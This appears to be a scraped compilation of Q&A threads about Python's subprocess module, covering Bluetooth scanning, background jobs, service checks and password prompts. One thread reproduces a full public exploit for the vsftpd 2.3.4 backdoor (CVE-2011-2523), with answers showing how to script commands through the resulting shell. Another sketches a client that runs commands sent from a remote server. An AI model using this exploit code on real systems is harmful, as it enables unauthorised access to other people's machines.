Retrieve List of Bluetooth Devices Using Python 3 and Terminal - python

When using the Linux terminal inside the Raspberry pi, i have to use only 3 commands to retrieve a list of Bluetooth capable devices in the area. These are the commands that are executed in order:
"sudo bluetoothctl"
"agent on"
"scan on"
the final command above will over-time retrieve a list of scanned devices. When i manually put it into my raspberry pi terminal it works (found instrustions from here: Instruction Link)
QUESTION: how do i translate the series of commands above into a Python 3 script using the standard subprocess module?
I Tried:
import time
import subprocess
arguments = ["sudo", "bluetoothctl"] #to be able to access Bluetooth commands
output = subprocess.Popen(arguments, shell=True)
time.sleep(0.1)
arguments = ["agent", "on"]
output = subprocess.Popen(arguments, shell=True)
time.sleep(0.1)
arguments = ["scan", "on"]
output = subprocess.check_output(arguments, shell=True)
time.sleep(0.1)
print(output) #not even close huh.. yea..
As you can see i'm pretty new to both Linux terminal commands and the subprocess module. Therefore any help and guidance is greatly appreciated!
UPDATE: i am able to get my first command sudo bluetoothctl to work as it returns list of previously paired devices. However when i get to the next command output = subprocess.Popen("agent on", shell=True) it returns a message: /bin/sh: 1: agent: not found. How do i get my other commands to work?
New code:
import time
import subprocess
output = subprocess.Popen("sudo bluetoothctl", shell=True)
time.sleep(0.1)
output = subprocess.Popen("agent on", shell=True)
time.sleep(0.1)
output = subprocess.check_output("scan on", shell=True)
time.sleep(2)
What the terminal spits out:
[NEW] Controller XX:XX:XX:XX:XX:XX raspberrypi [default]
[NEW] Device XX:XX:XX:XX:XX:XX Galaxy J3 Emerge
[bluetooth]# /bin/sh: 1: agent: not found
/bin/sh: 1: scan: not found
Traceback (most recent call last):
File "/home/pi/pywork/test.py", line 9, in <module>
output = subprocess.check_output("scan on", shell=True)
File "/usr/lib/python3.5/subprocess.py", line 316, in check_output
**kwargs).stdout
File "/usr/lib/python3.5/subprocess.py", line 398, in run
output=stdout, stderr=stderr)
subprocess.CalledProcessError: Command 'scan on' returned non-zero exit status 127
Process finished with exit code 1
Any ideas on how to get this second command to work?

TLDR;
The issue of the above is related to the invocation of suprocess.check_output, with parameter shell=True, you should use string instead of a list of arguments
Here are some details.
UPDATE:
I assume that the reason is that it's not invoked in the same shell session, so it didn't find an agent. Depending on what you're trying to achieve, you should either use the same session (for example as in this case) or use a python library like PyBluez to control the Bluetooth devices (which I would recommend)

I am currently doing a similar function. Have you realized this function yet? After sending Bluetooth CTL with Popen, a pipeline will be opened. The subsequent agent on and scan on must be sent in the opened pipeline, rather than opening a new pipeline with Popen.

Regardless of the fact this question was posted years ago some wanderer might find the line below useful. Nevermind sudo as not necessary.
bt = subprocess.Popen(["sudo", "bluetoothctl", "scan", "on"], stdin=subprocess.PIPE)

Related

How to interact with a reverse shell given by a script in python?

I would like to "automate" a reverse shell given by a script. Let me explain:
Contexte: There is a backdoor on a vulnerable machine.
What am I doing: I create a subprocess which executes a script (python, perl, ...) and which gives me a reverse shell.
Popen(["python", "/opt/exploits/backdoor.py", remote_ip], stderr=PIPE).communicate()
What I would like to do: Along with running my script <=> running my reverse shell, I would like to be able to interact with it, using methods.
Today, I am able to write manually in the terminal of my reverse shell: the script that I call with Popen runs and uses the backdoor. This gives me a reverse shell and I can type my commands.
Tomorrow, I would like to be able to call methods during the execution of this reverse shell: I run a script with Popen, it exploits the backdoor and gives me a shell. And rather than typing commands manually, I would like that automatically, a whole series of commands be sent to this reverse shell, and that for each one of them, I be able to recover the returned data.
Ideally, I would like something like that:
backdoor.execute() //This method allow me to get a reverse shell
backdoor.send("whoami") //This method allow me to send a command to the reverse shell and to get the result
.
.
backdoor.finish() //This method allow to close the reverse shell
What I tried to do without success: I tried with the Popen class of the subprocess module, to redirect the input and / or the output of the script
Popen(["python", /opt/exploits/backdoor.py, remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate()
However, when trying to redirect these two streams (or just one of them), my reverse shell closes as quickly as it opened.
I also tried to put my commands directly on the communicate() method:
Popen(["python", "/opt/exploits/backdoor.py", remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate(b"whoami")
I tried this with and without redirection of input and / or output, but nothing worked.
Finally, I tried to use the pexpect module to run my script to get a reverse shell, but I didn't have anything conclusive (maybe I did it wrong).
PS: I cannot change the code of the script that allows me to use the backdoor.
backdoor.py
# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523
#!/usr/bin/python3
from telnetlib import Telnet
import argparse
from signal import signal, SIGINT
from sys import exit
def handler(signal_received, frame):
# Handle any cleanup here
print(' [+]Exiting...')
exit(0)
signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line
user="USER nergal:)"
password="PASS pass"
tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")
tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()
Popen(["python", "/opt/exploits/backdoor.py", remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate(b"whoami")
This should work for the single command after a \n is appended and if the -u (unbuffered) option is used. Of course something has to be done with the return value in order to get the command output:
output = Popen(["python", "-u", "/opt/exploits/backdoor.py", remote_ip],
stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate(b"whoami\n")
backdoor.send("whoami") //This method allow me to send a command to the reverse shell and to get the result
Provided that
backdoor = Popen(["python", "-u", "backdoor.py", remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE)
we can send a command (if you don't want to exit thereafter) with e. g.
backdoor.stdin.write(b"whoami\n")
and get the result of indetermined length with
import select
import os
timeout = 1
while select.select([backdoor.stdout], [], [], timeout)[0]:
print(os.read(backdoor.stdout.fileno(), 4096).decode())

Structuring python code to run a message through subprocess.Popen

I am in a process of building a simple remote shell tool to communicate with Windows 10. Server sends a "message" through its own shell to the client who runs the message. I need this received message to be run by other process other that default cmd (shell=True) - a specified app.exe. Here is the code that runs on the client:
1)
def work( storage, message ) :
import subprocess
process = subprocess.Popen([message], stdout=subprocess.PIPE, stderr=None, shell=True)
#Launch the shell command:
output = process.communicate()
print output[0]
I tried including "app.exe" or "cmd" to execute the message but with that I get error: TypeError: bufsize must be an integer.
I have also tried pinpointing the issue locally and I can run:
2)
import subprocess
import sys
subprocess.Popen(["C:\\Users\\User\\Desktop\\app.exe", "-switch"] + sys.argv[1:], shell=False)
and pass arguments from a command terminal and it works as it should. Now I am trying to apply the same logic to a remote execution with my program and use either solution 1 or 2.
Update:
3) Trying to implement what I did locally to a remote solution:
def work( storage, message ) :
import subprocess
import sys
process = subprocess.Popen(["C:\\Users\\User\\Desktop\\app.exe", "-switch"] + sys.argv[1:], shell=False)
#Launch the shell command:
output = process.communicate()
print output[0]
I tried replacing sys.argv[1:] with message but I get:
TypeError: can only concatenate list (not "str") to list
shell=True doesn't mean the first argument to Popen is a list of arguments to the shell; it just means the first argument is processed by the shell, rather than being arguments to whatever system call your system would use to execute a new process.
In this case, you appear to want to run app.exe with a given argument; that's simply
cmd = r"C:\Users\User\Desktop\app.exe"
subprocess.Popen([cmd, "-switch", message], stdout=subprocess.PIPE)
#chepner sir, you are a very helpful. That was it! I am so happy, thanks for your help.
Your solution:
Popen(["...\\app.exe", "-switch", message], stdout=subprocess.PIPE, stderr=None)
That was the badger!

Start background process in python via subprocess and write output to file

Dear stackoverflow users,
I'm looking for a solution for a probably quite easy problem. I want to automate some quantum chemical calculations and ran into a small problem.
Normally you start your quantum chemical programm (in my case it's called orca) with your input file (*.inp) on a remote server as a background process and pipe the output into an outputfile (*.out) via
nohup orca H2.inp >& H2.out &
or something similar.
Now I wanted to use a python script (with some templating) to write the input file automatically. At the end the script should start the calculation in a way that I could log out of the server without stopping orca. I tried that with
subprocess.run(["orca", input_file], stdout=output_file)
but so far it did not work. How do I "emulate" the command given at the top with the subprocess module?
Regards
Update
I have one file that is called H2.xyz. The script reads and splits the filename by the point and creates an input file name H2.inp and the output should be written into the file H2.out.
Update 2
The input file is derived from the *xyz file via
xyzfile = str(sys.argv[1])
input_file = xyzfile.split(".")[0] + ".inp"
output_file = xyzfile.split(".")[0] + ".out"
and is created within the script via templating. In the end I want to run the script in the following way:
python3 script.py H2_0_1.xyz
Why not simply:
subprocess.Popen(f'orca {input_file} >& {output_file}',
shell=True, stdin=None, stdout=None, stderr=None, close_fds=True)
More info:
Run Process and Don't Wait
For me (Windows, Python 2.7) the method call works very fine like this:
with open('H2.out', 'a') as out :
subprocess.call(['orca', infile], stdout=out,
stderr=out,
shell=True) # Yes, I know. But It's Windows.
On Linux you maybe do not need shell=True for a list of arguments.
Is the usage of subprocess important? If not, you could use os.system.
The Python call would get really short, in your case
os.system("nohup orca H2.inp >& H2.out &")
should do the trick.
I had the same problem not long ago.
Here is my solution:
commandLineCode = "nohup orca H2.inp >& H2.out &"
try:
proc = subprocess.Popen(commandLineCode,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
cwd = workingDir)
except OSError:
print("Windows Error occured")
print(traceback.format_exc())
timeoutInSeconds = 100
try:
outs, errs = proc.communicate(timeout = timeoutInSeconds)
except subprocess.TimeoutExpired:
print("timeout")
proc.kill()
outs, errs = proc.communicate()
stdoutDecode = outs.decode("utf-8")
stderrDecode = errs.decode("utf-8")
for line in stdoutDecode.splitlines():
# write line to outputFile
if stderrDecode:
for line in stderrDecode.splitlines():
# write line to error log
The OSError exception is pretty important since you never now what your OS might do wrong.
For more on the communicate() command which actually starts the process read:
https://docs.python.org/3/library/subprocess.html#subprocess.Popen.communicate

How to know if a service is installed

I'm looking for a way to check with a Python script if a service is installed. For example, if I want to check than a SSH server in installed/running/down in command line, I used :
service sshd status
If the service is not installed, I have a message like this:
sshd.service
Loaded: not-found (Reason: No such file or directory)
Active: inactive (dead)
So, I used a subprocess check_output to get this three line but the python script is not working. I used shell=True to get the output but it doen't work. Is it the right solution to find if a service is installed or an another method is existing and much more efficient?
There is my python script:
import subprocess
from shlex import split
output = subprocess.check_output(split("service sshd status"), shell=True)
if "Loaded: not-found" in output:
print "SSH server not installed"
The probleme with this code is a subprocess.CalledProcessError: Command returned non-zero exit status 1. I know that's when a command line return something which doesn't exist but I need the result as I write the command in a shell
Choose some different systemctl call, which differs for existing and non-existing services. For example
systemctl cat sshd
will return exit code 0 if the service exists and 1 if not. And it should be quite easy to check, isn't it?
Just catch the error and avoid shell=True:
import subprocess
try:
output = subprocess.check_output(["service", "sshd", "status"], stderr=subprocess.STDOUT)
except subprocess.CalledProcessError as e:
print(e.output)
print(e.returncode)

Run program from command line what prompts password and automatically provide password for it (cmd.exe, python)

I have command line program what prompts password:
> cwrsync root#NN.NN.NN.NN:/src /cygdrive/c/dst
Output (when i run it from cmd.exe command line):
root#NN.NN.NN.NN's password:
When i input password manually, all OK. Output:
skipping directory src
I want to provide password for it from command line or python script automatically.
I tried:
One. From command line:
> echo pass|cwrsync -r root#NN.NN.NN.NN:/src /cygdrive/c/dst
Not working. Output:
root#NN.NN.NN.NN's password:
Two. From python script. test.py:
import subprocess
cmd = "cwrsync -r root#NN.NN.NN.NN:/src /cygdrive/c/dst"
proc = subprocess.Popen(cmd1, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True)
std1, std2 = proc.communicate("pass")
print std1print std2
Not workin. Output:
Permission denied, please try again.
Permission denied, please try again.
Permission denied (publickey,password).
rsync: connection unexpectedly closed (0 bytes received so far) [Receiver]
rsync error: unexplained error (code 255) at io.c(235) [Receiver=3.1.1]
It is common that security oriented programs ask for password on direct io instead of reading stdin. And as :
echo pass|cwrsync -r root#NN.NN.NN.NN:/src /cygdrive/c/dst
did ask password, I presume that csrsync directly reads from console.
In that case you cannot automate it without some work and low level programming, because you will have to simulate keyboard actions. You should instead search the documentations, because as it looks like it uses an underlying ssh, it is likely to accept a public key pair. If it accept one without passphrase, you should be able to automate it.
Try sending a newline in your stdin string communicate call like so:
import subprocess
cmd = ['cwrsync', '-r', 'root#NN.NN.NN.NN:/src', '/cygdrive/c/dst']
proc = subprocess.Popen(cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE,
shell=True)
std1, std2 = proc.communicate("pass\r\n\r\n")
print std1
print std2
You should also see if it works with shell=False (from subprocess docs):
Using shell=True can be a security hazard. See the warning under Frequently Used Arguments for details.

Categories